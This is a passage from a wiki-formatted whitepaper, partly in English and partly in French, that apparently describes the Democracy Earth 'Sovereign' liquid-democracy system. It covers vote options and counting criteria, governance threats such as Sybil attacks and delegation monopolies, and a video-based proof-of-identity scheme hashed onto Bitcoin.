'''Non-dictatoship''': no single voter possesses the power to always determine social preference. ** '''Pareto Efficiency''': if every voter prefers an option to another, then so must the resulting societal preference order. =====2.5.4.2 <code>Options</code>===== In order to enable the information processing of ''votes'', ballots carry boolean values expressed in their options. This lets ''vote'' transactions signal a ''decision state'' that will act as a force modeling the institutional choices for the implementing organization. This makes all decentralized organizations also into programmable institutions. Options can then be: * <code>True</code>: It will signal a <code>true</code> boolean value if selected (often described with 'Yes' or 'Positive' label strings). * <code>False</code>: Signals a <code>false</code> state (e.g. can display 'No' or 'Negative' labels). * <code>Linked</code>: The option is connected to another decision within the organization. * <code>Candidate</code>: A member or list of <code>Members</code> from the organization. This helps elect authorities within the organization or it can be used for membership approvals. =====2.5.4.3 <code>Criteria</code>===== Finally, counting methods for the final or ongoing result of a decision within an organization. * <code>Plurality</code>: Simple majority wins decision. * <code>Majority</code> A minimum percentage is required for winning decision. * [https://en.wikipedia.org/wiki/D%27Hondt_method <code>DHont</code>]: Widely used by Nation-State elections based on member lists. * [https://en.wikipedia.org/wiki/Schulze_method <code>Schulze</code>]: Commonly used by open source communities and Pirate Parties using ranked choice ballots. * [http://ilpubs.stanford.edu:8090/422/1/1999-66.pdf <code>PageRank</code>]: Counts votes weighting voter reputation in a graph. ====2.5.5 <code>Budget</code>==== Every <code>Organization</code> can have 1 or more cryptocurrency addresses to fund its efforts. Sovereign permits to fund an <code>Organization</code> with Bitcoin and in its <code>Constitution</code> define a criteria on how these assets get distributed among <code>Members</code>: * '''Percentage for ''Proof of Identity''''': Applicant <code>Members</code> can submit their ''Proof of Identity'' evidence to get membership approval to an <code>Organization</code>. If ''votes'' approve the new member, it strengthens the reputation of a self-sovereign identity in the open network by rewarding him or her a fixed amount of Bitcoin to permit hashing the ''Proof of Identity'' on a blockchain. Some <code>Organizations</code> may allow a bigger reward than others, effectively creating a Reputation score that can protect the network against ''Sybils'' or false identities. This process is detailed on [[#Executive|Section 3]]. * '''Percentage for <code>Issues</code>''': <code>Members</code> seeking to use resources from the <code>Organization</code> can request them by attaching a <code>Budget</code> to an <code>Issue</code>. A <code>Member</code> can request to used funds from a pool specifically reserved for this. If the final tally of a decision reaches a certain value (<code>true</code> or <code>false</code>), it can then enforce the final decision by unlocking coins or triggering a transaction sending the requested assets to a specific address. ===2.6 Sécurité.=== Avec Sovereign, nous visons à fournir un cadre de gouvernance léger qui permet à toutes les parties prenantes d'une organisation de participer et d'appliquer les décisions grâce à l'utilisation de la cryptographie. Mais il est important de préciser que nous ne visons pas un système démocratique classique basé sur la domination de la populace ou le [https://en.wikipedia.org/wiki/Majoritarianism ''majoritarisme'']. L'histoire offre suffisamment d'exemples de situations où une majorité aveugle finit par faire échouer les aspirations d'une république en mettant souvent des démagogues au pouvoir. [[File:/images/ideal-democracy.png|Ideal democracy.]] Notre objectif principal est de fournir un système capable de garantir la plus grande légitimité possible tout en habilitant les voix les plus compétentes dans n'importe quelle communauté. La différence entre un fait et une promesse est simple: alors que l'art de la politique consiste à soutenir la fiction qui nourrit la confiance dans les institutions établies (par exemple des politiciens durant une campagne), la preuve cryptographique des événements fournit une méthode plus fiable pour une bonne gouvernance. La nature incorruptible des transactions blockchain incite les gens à ne pas mentir, ce qui explique que les organisations qui y stockent les votes et les décisions sont guidées par des faits plutôt que par des promesses. La corruption peut être combattue à sa source à mesure que nous développons un nouveau sens de la citoyenneté basé sur les réseaux numériques. Pourtant, les démocraties liquides peuvent être faussées de différentes manières, avec des résultats dominés par les conséquences inattendues de deux dynamiques qui représentent les extrémités du spectre de la participation: * '''Un manque de délégation''' menant à un ''polyopole'': fragmentation extrême du pouvoir électoral. * '''Une abondance de délégations''' conduisant à un ''monopole'': concentration extrême du pouvoir électoral. Chaque résultante a un impact sur l'un des deux axes qui mesure la qualité de la gouvernance démocratique. Les incitations sur l'économie politique ''vote'' sont conçues pour maintenir un équilibre stable visant à garantir le plus haut niveau de légitimité et de prise de décision factuelle. Pour créer un environnement de confiance pour une gouvernance décentralisée dans de grandes communautés (villes, nations ou à l'échelle mondiale), Sovereign doit être protégé contre différents types d'attaques: les ''Mobs'', les ''Corporations'', les ''Sybils'', les ''Fakes'' et ''Big Brother''. ====2.6.1 Polyopole.==== <blockquote> également connu sous le nom de ''Populace'' </blockquote> [http://www.tdcommons.org/cgi/viewcontent.cgi?article=1092&context=dpubs_series Google Votes] fait partie des projets de recherche les plus notables dans le domaine. Il s'agissait d'une implémentation interne réalisée pour les employés de Google et menée par l'ingénieur Steve Hardt. Il a ainsi créé un plug-in de démocratie liquide à utiliser sur la version interne de Google+. Le projet produisit les résultats chiffrés ci-après en termes d'impact: * 15 000 participants. * 371 décisions. * '''3,6% de votes délégués''' au total. Le faible pourcentage de délégations signifie que Google Votes fonctionnait davantage comme une démocratie directe qu'une démocratie liquide. Les délégations se sont principalement produites parmi les utilisateurs qui ont activement fait campagne pour les attirer (par exemple, les végétaliens dans une équipe qui espéraient accumuler du pouvoir pour choisir les collations servies au travail). Le risque associé au faible nombre de délégations est que cela ouvre la démocratie aux risques connus de la domination par la populace. Bien que la légitimité puisse restée élevée, la qualité des décisions prises par une organisation devient davantage politique que factuelle. Les voix bien informées capables d'adresser des problèmes spécifiques au sein d'une communauté perdent ainsi de leur pouvoir. Pour augmenter la fréquence des délégations, celles-ci se produisent chaque fois que les auto-souverains sont validés. En ce qui concerne le processus de ''preuve d'identité'' (voir la section 3), les utilisateurs sont capables de générer nativement leurs propres ''votes'' aussi longtemps que leur individualité est endossée par d'autres identités. De plus, les délégations n'ont pas forcément besoin de se produire à l'intérieur de l'application Sovereign puisque le token ''vote'' fonctionne dans une blockchain: les applications de messagerie, les tweets et les e-mails peuvent être envoyés avec des adresses de vote ou des codes QR en attachement permettant ainsi au token vote d'être diffusé sur plusieurs réseaux. ====2.6.2 Monopole.==== <blockquote> également connu sous le nom de ''Corporations'' </blockquote> Lorsque le Parti Pirate allemand a mis en place [https://en.wikipedia.org/wiki/LiquidFeedback Liquid Feedback], un logiciel pionnier de démocratie liquide développé en 2009, celui-ci a atteint un niveau de participation d'environ 550 affiliés, ce qui a conduit [http://www.spiegel.de/international/germany/liquid-democracy-web-platform-makes-professor-most-powerful-pirate-a-818683.html un professeur de linguistique à devenir le membre le plus influent du parti]. Martin Haase était chargé de traduire toutes les propositions téléchargées dans le système dans un langage neutre afin d'éviter tout parti pris idéologique, ce qui fait qu'il a pris 167 délégations à d'autres membres. Les conséquences de ce genre de monopole créé par un leader dans un environnement de démocratie liquide vont à l'encontre de l'esprit d'un écosystème qui vise à encourager une plus grande participation. Dans les démocraties liquides, ''des célébrités'' peuvent devenir extrêmement influentes et attirer ainsi la plupart des votes délégués. Un agresseur prêt à renverser une élection peut faire la promotion d'une star de télévision arborant un code QR pour créer un afflux soudain de délégations de la part des fans et des téléspectateurs, devenant instantanément une force monopolistique. Les monopoles sont une menace pour les démocraties liquides, car ils peuvent dissuader les électeurs moins chanceux de participer, détournant ainsi la légitimité des décisions prises. =====2.6.2.1. Vote quadratique.===== Une caractéristique clé d'un système de démocratie liquide est de permettre un [http://ericposner.com/quadratic-voting/ vote quadratique] pour les délégations. Le coût pour Alice de déléguer des votes à Bob augmente de façon exponentielle à mesure que les votes sont délégués. Avec des délégations quadratiques, Alice ne peut déléguer à Bob que 1, 2, 4, 8, 16 ou même 128 ou 512 ''votes'', mais aucune valeur entre deux. Cela permet à toute délégation de taxer le délégant en réduisant le coût d'opportunité de déléguer à un autre membre. Cette méthode prévient la montée des monopoles dans la dynamique de marché des démocraties liquides, en faisant toujours en sorte que la participation de tous les membres soit pertinente. Si certaines organisations souhaitent une chaîne de commandement plus verticale (par exemple, des corporations), le vote quadratique peut toujours être désactivé dans le ''contrat intelligent constitutionnel'' d'une implémentation Sovereign. ====2.6.3 Attaque Sybil.==== <blockquote> également connu sous le nom d' ''usurpation d'identité'' </blockquote> Quiconque a la capacité de contrôler le registre des électeurs d'une élection donnée peut directement influencer le résultat final. Un exemple classique est l'inscription de membres défunts de la société pour voter à une élection. Sur les réseaux décentralisés, on parle communément d'[https://en.wikipedia.org/wiki/Sybil_attack attaque Sybil] (un terme tiré d'un [https://www.youtube.com/watch?v=8kPIDt3yu1M film du même nom sorti en 1976] basé sur un personnage qui souffre d'un syndrome de personnalité multiple). Les nœuds Sybil sont ceux qui s'identifient comme des acteurs indépendants du réseau alors qu'ils sont tous sous le contrôle d'un seul opérateur. Dans les environnements décentralisés, les attaques Sybil sont la menace la plus commune. Et c'est pour cette raison que nous considérons qu'il est indispensable que les ''votes'' doivent être validés par un protocole (social et algorithmique) qui fonctionne comme ''preuve d'identité'', afin d'être accordés. ====2.6.4 Fausses nouvelles.==== <blockquote> également connus sous le nom de ''potins'' </blockquote> Ce n'est pas une coïncidence si le champ de bataille des démocraties modernes se dispute dans les médias. Les agences de presse et autres organisations qui vendent de l'information disposent d'une capacité sans précédent pour façonner la perception des électeurs. A travers différentes juridictions dans le monde, les gouvernements mènent une guerre interne entre l'État et le plus grand conglomérat de médias locaux. C'est le mode d'emploi utilisé par Donald Trump dans son combat contre le tandem formé par CNN et le New York Times. C'est aussi la raison pour laquelle Vladimir Poutine a investi d'importantes ressources pour créer Russia Today afin de disposer d'une plateforme pour présenter des faits alternatifs. Contrôler le message a plus d'importance que la vérité elle-même. Des médias libres et un journalisme indépendant sont une exigence fondamentale pour des démocraties stables. Mais s'il est difficile de faire la preuve des faits institutionnels, alors la marge de manœuvre pour la manipulation est plus grande que la place mise à disposition pour que la vérité prévale. Les institutions traditionnelles cultivent le secret et manquent de transparence même si elles relèvent de la fonction publique. Les blockchains permettent de stocker des faits institutionnels qui garantissent la transparence dans les organisations. En ce sens, il est possible de lutter contre de ''fausses nouvelles'' grâce à un nouveau modèle institutionnel capable de stocker des ''promesses fermes''. =====2.6.4.1 Promesses fermes===== Les corporations et les institutions publiques sont sujettes à la corruption parce que les décisions sont souvent prises en secret derrière des portes closes, tandis que la comptabilité se produit au fur et à mesure. En effet, les organisations ''blanchissent les décisions'' en déconnectant la redevabilité des décisions. Le fait qu'il manque une ligne de temps incorruptible qui stocke les décisions financières et politiques permet une telle absence de redevabilité. L' [https://fr.wikipedia.org/wiki/Léviathan_(Thomas_Hobbes) État ''Léviathan''] est une machine inefficiente: bien qu'il se proclame comme le souverain d'une population donnée par le moyen de la force, quiconque est en charge de gérer sa bureaucratie peut toujours être corrompu, entraînant par là même l'effondrement de tout le château de cartes. Cette distance entre les faits et la comptabilité est la source des potins. Les éléments constitutifs des institutions consistent en des faits qui définissent des accords. Mais les faits contenus dans les accords sont d'un type très spécifique: les institutions ne sont pas construites sur des faits objectifs qui sont scientifiques, mesurables et indépendants du jugement humain; mais plutôt sur des faits intersubjectifs qui façonnent le monde social au sein d'une communauté qui fixe les rapports de droits et de propriété. Par exemple, la notion selon laquelle chaque canette de soda rouge appartient à la Coca Cola Corporation n'est pas objective mais constitue un fait intersubjectif accepté par tous les membres de la société qui reconnaissent les droits de propriété intellectuelle qu'une entreprise exerce sur son produit. De cette façon, la réalité institutionnelle permet le passage à l'échelle des relations économiques et la réduction des informations nécessaires pour que les organisations puissent réaliser des transactions. Les bureaucraties qui protègent ces accords reposent sur des promesses, à savoir “tout l'argent qui est gardé dans les banques sera là demain”. Mais comme le dit [https://twitter.com/aantonop/ Andreas Antonopoulos]: “Nous sommes habitués à des systèmes de douces promesses et de transactions réversibles.” Si le gouvernement (ou tout autre type d'autorité centrale) voulait confisquer des fonds privés stockés dans une banque, personne ne pourrait les empêcher de rompre cette promesse. Cela a été l'expérience des citoyens grecs, argentins, vénézuéliens ou portoricains avec leurs propres gouvernements défaillants au cours de la dernière décennie. D'un autre côté, les organisations basées sur la blockchain offrent une alternative basée sur des ''promesses fermes'': des accords stockés dans des contrats intelligents rigoureusement protégés au moyen de la cryptographie qu'aucune tierce partie ne peut corrompre. Plutôt que de réguler le comportement humain a posteriori comme le fait la loi gouvernementale, les blockchains garantissent la transparence par défaut en encourageant un comportement honnête puisque chaque participant est conscient que les événements institutionnels seront ouvertement sujettes à un examen minutieux. ====2.6.5 Squattage.==== <blockquote> également connu sous le nom de ''Big brother'' </blockquote> Une démocratie liquide opère à travers plusieurs domaines. Mettre en place une <code>Organisation</code> au sein d'un réseau de ''votes'' délégables est analogue à la création d'un serveur sur le Web. Le squattage de domaine est la pratique qui consiste à occuper des adresses Web abandonnées ou inutilisées dans l'espoir d'en tirer un bénéfice. Cela a généré un marché d'un milliard de dollars dans lequel les mots les plus couramment utilisés (identifiants) représentent le meilleur type de propriété numérique. [http://sex.com Sex.com] [https://en.wikipedia.org/wiki/Sex.com#Highest_price_paid_for_domain est ainsi le domaine le plus cher]. A grande échelle, le jeu de la démocratie liquide se développe à la longue autour des <code>balises</code> utilisées pour décrire les délégations et les problèmes. Dans un système fermé, les <code>balises</code> les plus utilisées pointent vers un univers réduit d'électeurs pertinents qui mènent les délégations qui leur sont associées. La participation réduite des électeurs augmente la capacité de prédiction d'une démocratie, réduisant ainsi les moments ouverts à la prise de décision collective. La démocratie prospère tant que la participation est encouragée. Pour éviter ce genre d'attaque, les intérêts financiers et politiques doivent être alignés. Le ''squattage de balises'' peut être évité si la taxonomie utilisée pour créer des délégations liquides et des descriptions de problèmes fonctionne dans un réseau ouvert: Les <code>balises</code> désignent des <code>Organisations</code> qui sont enregistrées sous un système décentralisé de nom de domaine, dans la mesure où chaque <code>Organisation</code> a besoin d'un nom de domaine. [Blockstack.org Blockstack's blockchain] se spécialise dans les noms de domaine décentralisés et gère actuellement plus de 70 000 identifiants décentralisés (IDD). Ces identifiants s'obtiennent via un processus ''Proof of Burn'' dans lequel les utilisateurs brûlent des Bitcoin contre des tokens Blockstack qui permettent d'enregistrer un nouveau nom de domaine. Les mots définissent les idées politiques. La narration sociale développée par l'art de la politique consiste à décider de l'intention sémantique. Le pouvoir définit les empreintes théâtrales qui marquent nos souvenirs chaque fois que nous utilisons les termes ''gauche'', ''droite'', ''libre'' ou ''égal''. Le langage est un code hérité qui permet une collaboration humaine à grande échelle et on ne peut pas nier ses vertus. ---- Toutes ces stratégies sont au coeur de la façon dont une organisation décentralisée s'institutionnalise. En d'autres termes: il s'agit de définir les risques sur la manière dont Democracy Earth attribue les ''votes'' à ses membres sur la blockchain en tant qu'entité décentralisée. Pour cette raison, nous détaillons à la [[#Execution|Section 3]] un plan de déploiement des ''votes'' qui érige des défenses solides contre ce type d'attaques et ouvre la voie à une démocratie globale. <div id="Execution"></div> ==3. Exécution.== [[File:/images/humans.png|Population humaine exponentielle au cours du temps.]] L'augmentation de la population est au cœur des défis économiques et politiques du 21^e siècle : [https://esa.un.org/unpd/wpp/ Les Nations Unies estiment que d'ici l'an 2100 la population mondiale surpassera les 10 000 000 000 individus]. En d'autres termes, la [https://fr.wikipedia.org/wiki/Capacit%C3%A9_porteuse capacité porteuse] de la planète sera atteinte d'ici la fin du siècle. On peut trouver des indices sur les conséquences de l'apauvrissement en ressources en étudiant l'histoire des îles. Une île lointaine comme [https://fr.wikipedia.org/wiki/Histoire_de_l%27%C3%AEle_de_P%C3%A2ques l'île de Pâques] a été durant son histoire un système fermé, coupé de tout contact avec l'exterieur, dont la population n'avait pas d'autre moyens de survie que ses propres ressources, faisant sans cesse face aux dangers de famine, d'épidémie, et de guerre civile. Bien que ces menaces semblent lointaines dans une économie mondiale, la hausse soudaine de la population humaine au cours du siècle dernier est en majorité responsable de l'augmentation du niveau de CO₂ dans l'atmosphère et de l'effondrement du système public, incapable de gérer les migrations massives. Les réfugiés fuient des guerres d'annexion de ressources énergétiques pour un futur qui s'approche toujours plus vite, au rythme des innovations technologiques. Bien que certains préparent déjà des échappatoires, notamment le secteur privé avec la colonisation de Mars dans les prochaines décennies (qui n'est pas sans rappeler l'Arche de Noé), l'appel urgent à la sauvegarde de l'humanité toute entière doit être amplifié et répondu. Une distribution des opportunités et une collaboration mondiale intelligente ne peuvent être obtenues pacifiquement qu'à condition que toutes les voix puissent se faire entendre, sans exception. La gouvernance globale est la prochaine étape logique dans un monde déjà connecté via Internet. Les blockchains creusent les fondations d'une démocratie de pairs et nous guident vers la possibilité d'une gouvernance liquide. La permission des États-Nations en place n'est pas requise : les citoyens du monde peuvent accueillir ce changement par biais de réseaux souverains. ===3.1 Droits vs. Dette.=== <blockquote> "Qu'est-ce que la justice ?" demanda le philosophe. "Paie tes dettes et ne mens pas" répondit Kefalos (capital), un riche fabricant d'armes. </blockquote> '''Platon''', ''La Republique''. Philosophe (428-348 av. J.-C). Bien que la politique et l'économie soient souvent considérées comme des domaines distincts, l'histoire nous enseigne que l'argent donne du pouvoir, et que le pouvoir donne des votes. Afin de promouvoir la démocratie de façon efficace, il est indispensable de s'occuper des deux. Les modèles économiques actuels sont toujours enracinés dans une intrication de la dette, de la morale et des guerres. La monnaie a été inventée par les grands empires financiers pour permettre aux soldats d'acheter des provisions dans des contrées lointaines, et les récompenser de leurs victoires. Ils pouvaient ainsi piller l'or et l'argent des cités conquises et l'échanger plus tard aux empereurs qui s'en servaient pour émettre des pièces et développer des marchés. Les empires finirent par réclamer une partie de ces pièces sous forme de taxe, afin de financer l'armée. La morale de l'histoire fut que les citoyens devinrent ''endettés'' auprès de leur empereur pour leur sécurité, pour pouvoir rester en vie. La dette a évolué comme justification des formes de coercition maintenant les hiérarchies de pouvoir en place dans tous les pays. Le manque d'argent est l'entrave à la liberté la plus immédiate et la plus tangible pour la plupart des êtres humains. Le bulletin de ''vote'' sera distribué comme un '''Droit''' opposant l'association historique de la '''Dette''' et de la morale, générant un terrain fertile pour des transactions libres de coercition. Il a pour but de rendre équivalentes les entités de part et d'autre d'une transaction, ainsi que de rétablir la justice et l'équilibre en tant que standards moraux. La liberté et la souveraineté personnelle sont la mission de Democracy Earth, qui ne peut être remplie que si tous les individus ont la possibilité de dire "non" et de choisir sans contraintes des solutions alternatives. Cela ne pouvant pas être atteint avec la rareté induite qu'on retrouve sur la plupart des cryptomonnaies, il faut garantir un accès équitable aux ''votes'' à tous les membres de la société, transformant le droit de vote en instrument liquide. Pour cette raison, la [http://democracy.earth Fondation Democracy Earth] génèrera une ''Offre Initiale de Droits'' en bulletins de ''vote'', dans le but de traiter équitablement tout le monde dans un processus qui offrira deux mécanismes : le financement cryptographique pour quiconque souhaite allouer des ressources pour renforcer le développement d'une démocratie globale au moyen du bulletin de ''vote'' ; et un état de droit comme moyen d'obtenir des bulletins de ''vote'', pour quiconque pouvant ''miner'' sa part de ''votes'' au travers d'un processus connu sous le nom de ''Preuve d'Identité'' (PI). ====3.1.1 Offre Initiale de Droits.==== L'identité est fondamentale pour la souveraineté personnelle, et est au cœur de tout système de vote. Les votes (peu importe le système) ne sont valides que si leur auteur peut être vérifié comme appartenant une organisation, aucune démocratie ne peut fonctionner avec des identités corrompues. Les systèmes d'identification actuels sont basés sur des autorités centrales qui collectent les informations personnelles et rendent vulnérables leurs utilisateurs au vol d'identité si les serveurs se font pirater, comme c'est arrivé notamment pour [https://gov.uk le Royaume Uni (gov.uk)] et [https://uidai.gov.in/ l'Inde (aadhaar)], les deux ayant été affligés de nombreuses pratiques de sécurité insuffisantes, menant à des fuites d'information affectant la vie privée de millions de gens. Pour que les identités puissent être auto-souveraines, elles ne peuvent être détenues ou contrôlées par des gouvernements, organisations ou entreprises qui ont pour but final d'extraire de la valeur de leurs utilisateurs. Notre approche avec [http://sovereign.software Sovereign] est centrées sur une organisation en tant que technologie, mais une organisation peut être décentralisée si son processus de vérification d'identité ne requiert pas d'autorité centrale. Puisque le principe d'identité autonome rend ''Big Brother'' obsolète, tout processus reposant sur une identité décentralisée devient part du domaine public. Donc la clef pour assurer la valeur du bulletin de ''vote'' comme outil démocratique sans frontières est de vérifier les identités au travers d'un processus décentralisé qui peut créer, mettre à jour ou révoquer des clefs. C'est ainsi que la Fondation Democracy Earth offrira un accès aux ''votes'' comme droit fondamental. [[File:/images/identity-blockchain.png|Identité auto-souveraine.]] Quiconque capable de démontrer sa propre identité dans le cadre d'un protocole décentralisé appelé ''Preuve d'Identité'' (PI) reçevra une part initiale et équitable de ''votes''. Ce mécanisme déclenche une allocation au fil du temps à l'adresse publique revendiquée de l'identité accessible via un portefeuille auto-hébergé connecté au contenu et aux données utilisées pour la PI. Si assez de ''votes'' valident les éléments de preuve utilisés pour la PI, le porte-monnaie dégèlera une quantité correspondante de ''votes'' suivant les règles d'une dynamique de ''Revenu de Base Universel'' qui alloue des bulletins au fil du temps, et qui utilise la blockchain de Bitcoin comme horloge universelle. ===3.2 Preuve d'Identité.=== Une identité auto-souveraine doit être générée volontairement par un utilisateur qui la revendique. À cette fin, l'utilisateur doit diffuser une preuve de son identité qui satisfait pleinement des critères requérant un jugement humain et capables d'empêcher un robot d'interfèrer avec le processus. Par conséquent, une bonne preuve est dans un format qui nécessite une grande quantité de bande passante cérébrale, comme la vidéo. Une preuve acceptable doit satisfaire à toutes ces propriétés : * '''Incorruptible''': Le fichier vidéo doit être protégé contre toutes modifications une fois qu'il a été utilisé comme source de preuve. * '''Singulière''': La preuve doit valider une identité unique sans permettre la duplication de participants sur le réseau (''réplicants''). * '''Reputée''': Toute <code>Organization</code> validant une PI lui attache sa reputation en lui apposant sa signature. Même si tout système de gouvernance numérique peut bénéficier de la confiance déjà présente dans les réseaux existants validant les identités (c'est-à-dire les États-nations), un protocole décentralisé pour valider les identités répond à l'objectif politique de la souveraineté personnelle. Les avantages de cet enregistrement public dans un espace partagé sur le réseau peuvent éventuellement être utilisés par des gouvernements ou des organisations privées de différentes façons (par exemple, vérifier l'âge ou la nationalité). Nous proposons ici une nouvelle méthode pour valider les identités sans avoir besoin d'un seul ''Big Brother''. Une ''Preuve d'identité'' expire après une période donnée afin d'éviter les attaques sibyllines et d'assurer que seuls les utilisateurs vivants participent au réseau. Pour maintenir la validité de la paire de clefs, nous pensons qu'une période de 1 an est suffisante pour requérir la génération d'une nouvelle preuve mettant à jour la précédente. De la même manière que les identités physiques sont vérifiées en comparant l'image à la personne, les utilisateurs devront recréer leur ''Preuve d'identité'' et la diffuser pour vérification afin d'authentifier leur légitimité. Le jour de mise à jour peut être qualifié d' ''anniverchaîne'' d'un individu et, si désiré, célébré chaque année, de la même manière que les nations célèbrent leur journée de l'indépendance. Quand les nouveau-nés seront inscrits sous cette juridiction mondiale, les ''anniverchaînes'' se synchroniseront avec les anniversaires et pourront incorruptiblement attester de l'âge tout en réduisant progressivement le travail des authentificateurs au fil du temps. ====3.2.1 Démo.==== [[File:/images/roma-siri-blockchain-baby.png|Le certificat de naissance de Roma Siri stocké sur la chaîne de blocs.]] Il existe un précédent qui aide à illustrer la manière dont une ''Preuve d'Identité'' fonctionne. [https://youtu.be/Irc-VMuUs3c?t=55m20s Selon le professeur de NYU David Yermack], la nouvelle-née Roma Siri est devenue le premier bébé à avoir un certificat de naissance valide sur la chaîne de blocs pour le 7 novembre 2015. Le processus, bien que symbolique à l'époque, se composait d'une [https://www.dropbox.com/s/tsi4xo4k6j1jsa6/Blockchain%20Birth%20Certificate%20of%20Roma%20Siri%20-%20Daughter%20of%20Santiago%20Siri%20%28father%29%20and%20Pia%20Mancini%20%28mother%29.MOV?dl=0 vidéo montrant Roma bébé, sa vitalité et des témoins de sa naissance]. Une fois la vidéo filmée, une empreinte numérique du fichier a été générée et encodée dans une transaction Bitcoin. Cela signifie que peu importe où la vidéo est stockée, l'enregistrement permanent de son empreinte sur la chaîne de blocs Bitcoin permet de vérifier que le fichier n'a pas été corrompu et qu'il existait au moment où la preuve a été générée. Avec cette preuve incorruptible, Roma est devenue une citoyenne mondiale certifiée par la chaîne de blocs. Cette démo sert d'exemple pour les étapes à franchir pour obtenir une ''Preuve d'Identité'' décentralisée : # '''Preuve audiovisuelle''' obtenue depuis un téléphone ou une caméra. # '''Preuve par empreinte''' sur une chaîne de blocs pour garantir d'incorruptibilité de la preuve. # '''Preuve de validation''' au travers d'un processus de vote entre pairs (''Attention Mining''). ====3.2.2 Video Proof.==== A proof can be done with any recording application as long as it satisfies the requirements of the protocol. An extension no longer than 3 minutes is recommended for the video. In it the user must follow a series of scripted steps in order to help validators judge with their attention: # '''Face''': Under frontal light, film frontal expression (as when taking a ''selfie'') and each side of the head without wearing eyeglasses, hats, makeup or masks of any kind. # '''Names''': Say out loud the following indicators: ## Full given name (language-based identity). ## Full surname (blood-based identity, additionally it can state information regarding mother and father). ## Nationality (territorial-based identity, it can include place of residence or tax paying jurisdiction). ## Alternatively the user can use a nickname if it is a more common pointer to his self. # '''Biometrics''' (Optional): Say out loud or demonstrate in a reliable way any of these indicators. This can be useful for specific use cases such as birth certificates. ## Birthday (day, month and year). ## Height (inches or centimeters). ## Weight (pounds or kilograms). ## Gender (male, female, etc). # '''Witnesses''' (Optional): Previously validated identities can act as witnesses for this identity. They can be physically on location and appear in the video stating their full names and public keys to endorse a new identity. ## The witnesses can get granted the rights to revoke, update or cancel this proof (e.g. in case of loss of private keys or biological death). ## Twins. Those who have a twin brother or sister must specify this to prevent being flagged as a ''replicant'' during the verification process. ## Certifications. Even though this would be falling back to central authority, legacy reputation from state-issued documents can help make a video proof easier to trust. This might include a birth certificate, driver's license or a national ID as long as it doesn't hold any sensitive information (e.g. using a Social Security Number in the US). # '''Declaration''': To guarantee that the person generating his or her identity proof is aware of the rights he will receive upon having his membership approved on the network and is not being coerced by an unseen attacker, it is mandatory to make a declaration of self-sovereignty that also includes an oath regarding the stated facts: <blockquote>I, (Personal Name), declare that I'm making this video in accordance to my personal sovereignty as a citizen of Earth and all the statements made are true. I will be the sole user of all the ''votes'' allocated on behalf of this proof and I'm acting without any threat or coercion against my free will.</blockquote> # '''Public Key''': An address where ''votes'' will be allocated if identity is validated. This will be the [https://github.com/WebOfTrustInfo/ID2020DesignWorkshop/blob/master/topics-and-advance-readings/DID-Whitepaper.md Decentralized Identifier (DID)] pointing to this user. If this identity eventually is voted as corrupted or the user (or any listed witness) revoke it, then the allocated ''votes'' will get invalidated for future use. # '''Timestamp''': Current block height of the blockchain used for hashing this video to prevent any videos unrelated to the moment in time the POI is being generated to be used as proof. A manual timestamp can simply film the screen of a blockchain explorer application displaying the last block number and the hash corresponding to it. Since this might be complex for most users, apps designed to generate this proof can automatically add this content to the video. This information once the proof is hashed with a blockchain transaction will certify the video was not modified in any possible way by a third party after it was broadcasted to the network. Even though this process can be more complex than the average sign-up form found on most applications, it is important to state that it is also a political act declaring independence from authorities of any kind. This video is the personal manifesto anyone can make to break free from coercion and a step taken towards a borderless democracy. ====3.2.3 Hashing.==== Once the digital file with the self-sovereign proof has been generated, a [https://en.wikipedia.org/wiki/Cryptographic_hash_function cryptographic hash function] applied to it is calculated. Following the steps of the implementation made by Manuel Araoz and Esteban Ordano with [https://proofofexistence.com ProofofExistence.com], a standard [https://en.wikipedia.org/wiki/SHA-2 SHA-256] digest is recommended. Once the hash has been generated, it can be encoded in a Bitcoin transaction using an [https://en.bitcoin.it/wiki/OP_RETURN OP_RETURN] script that also includes a marker that helps track identity-related proofs. We suggest using 'IDPROOF' (0x494450524f4f46) for this particular use case. Considering that an average bitcoin transaction consists of 226 bytes with a mining fee as of August 2017 at 27,120 satoshis, the cost for hashing a proof directly on the blockchain is at ~$1 per proof. This can be relatively expensive for a majority of people, hence we recommend scaling this process by enabling a [https://github.com/aantonop/chainpoint Chainpoint] implementation able to store up to 10,000 proofs per transaction by putting the hashed data on a [https://en.wikipedia.org/wiki/Merkle_tree Merkle Tree] and encoding the Merkle root in the OP_RETURN script instead. This will also significantly reduce the memory requirements of the Bitcoin blockchain, a public resource that must not be abused. Alternatively, virtualchains that run on top of the Bitcoin blockchain that have a focus on identity and namespaces such as [http://blockstack.org Blockstack] can be used to satisfy this use case and the management of the private-public key pair. Any proof that goes through this process in a digital context is guaranteed to not be corrupted in any way. The digital files being used as proof can be stored anywhere, copied without restrictions or even kept in secret without sharing it with anyone. As long as there is a transaction in the blockchain that can validate the encoded hash with the data of the digital file, then the evidence is valid. The Bitcoin blockchain offers the strongest resistance to corruption since it has the largest amount of hashing power in the world protecting its infrastructure. With this mechanism in place, the Bitcoin blockchain can operate as a decentralized index of self-sovereign identities. Leveraging this capacity will only make the bureaucracy of a borderless democracy stronger than any other government on Earth. ====3.2.4 Attention Mining.==== <blockquote> In the blockchain nobody knows you are an AI. </blockquote> '''Satoshi Nakamoto'''. [[File:/images/proof-of-identity.png|Proof of Identity.]] In computer-space identities are nothing but pointers: algorithms lack any awareness about the patterns they are trained to recognize. Identities strictly belong to the human realm (i.e. only a person can recognize another person). So rather than harnessing ''distributed computing power'' to verify transactions as it happens with most cryptocurrencies, ''votes'' use ''distributed attention power'' to verify self-generated identity proofs. This attention is brought in by human participants that act as validators. A well known precedent of attention mining are CAPTCHA tests often found in the login of high-traffic websites. CAPTCHA is an acronym for ''Completetly Automated Public Turing test to tell Computers and Humans Apart''. These consist of simple vision excercises that can be completed by a human more easily than by a computer. A field [https://www.cs.cmu.edu/~biglou/reCAPTCHA_Science.pdf pioneered by researcher Louis Von Ahn], he used this technique to help build datasets able to train machine learning algorithms to read words printed on paper. As a Google engineer Von Ahn created a simple test distributed across all login pages that displayed two words obtained from scanned pictures. A user would write both words in a text input field to prove he is human and not a machine. The system already knew the meaning of the first word (hence validating the user is human) but it got trained with the second input as it uses this information in the dataset for character recognition algorithms. This simple excercise has been extended to train all kinds of pattern recognition systems and it contributed to the security of websites preventing bots (and botnets) from intruding. Attention can also validate human identities on a decentralized network, analogous to [https://bitcoin.com/bitcoin.pdf Bitcoin's Proof of Work algorithm (POW)] used by mining nodes to timestamp peer to peer transactions. In Bitcoin, each miner generates its own blockchain-compatible proof hash for a new block of transactions and broadcasts it to the network. If 51% of the nodes in the network accept the verified block, it gets chained to the blockchain and the miner starts working on the next 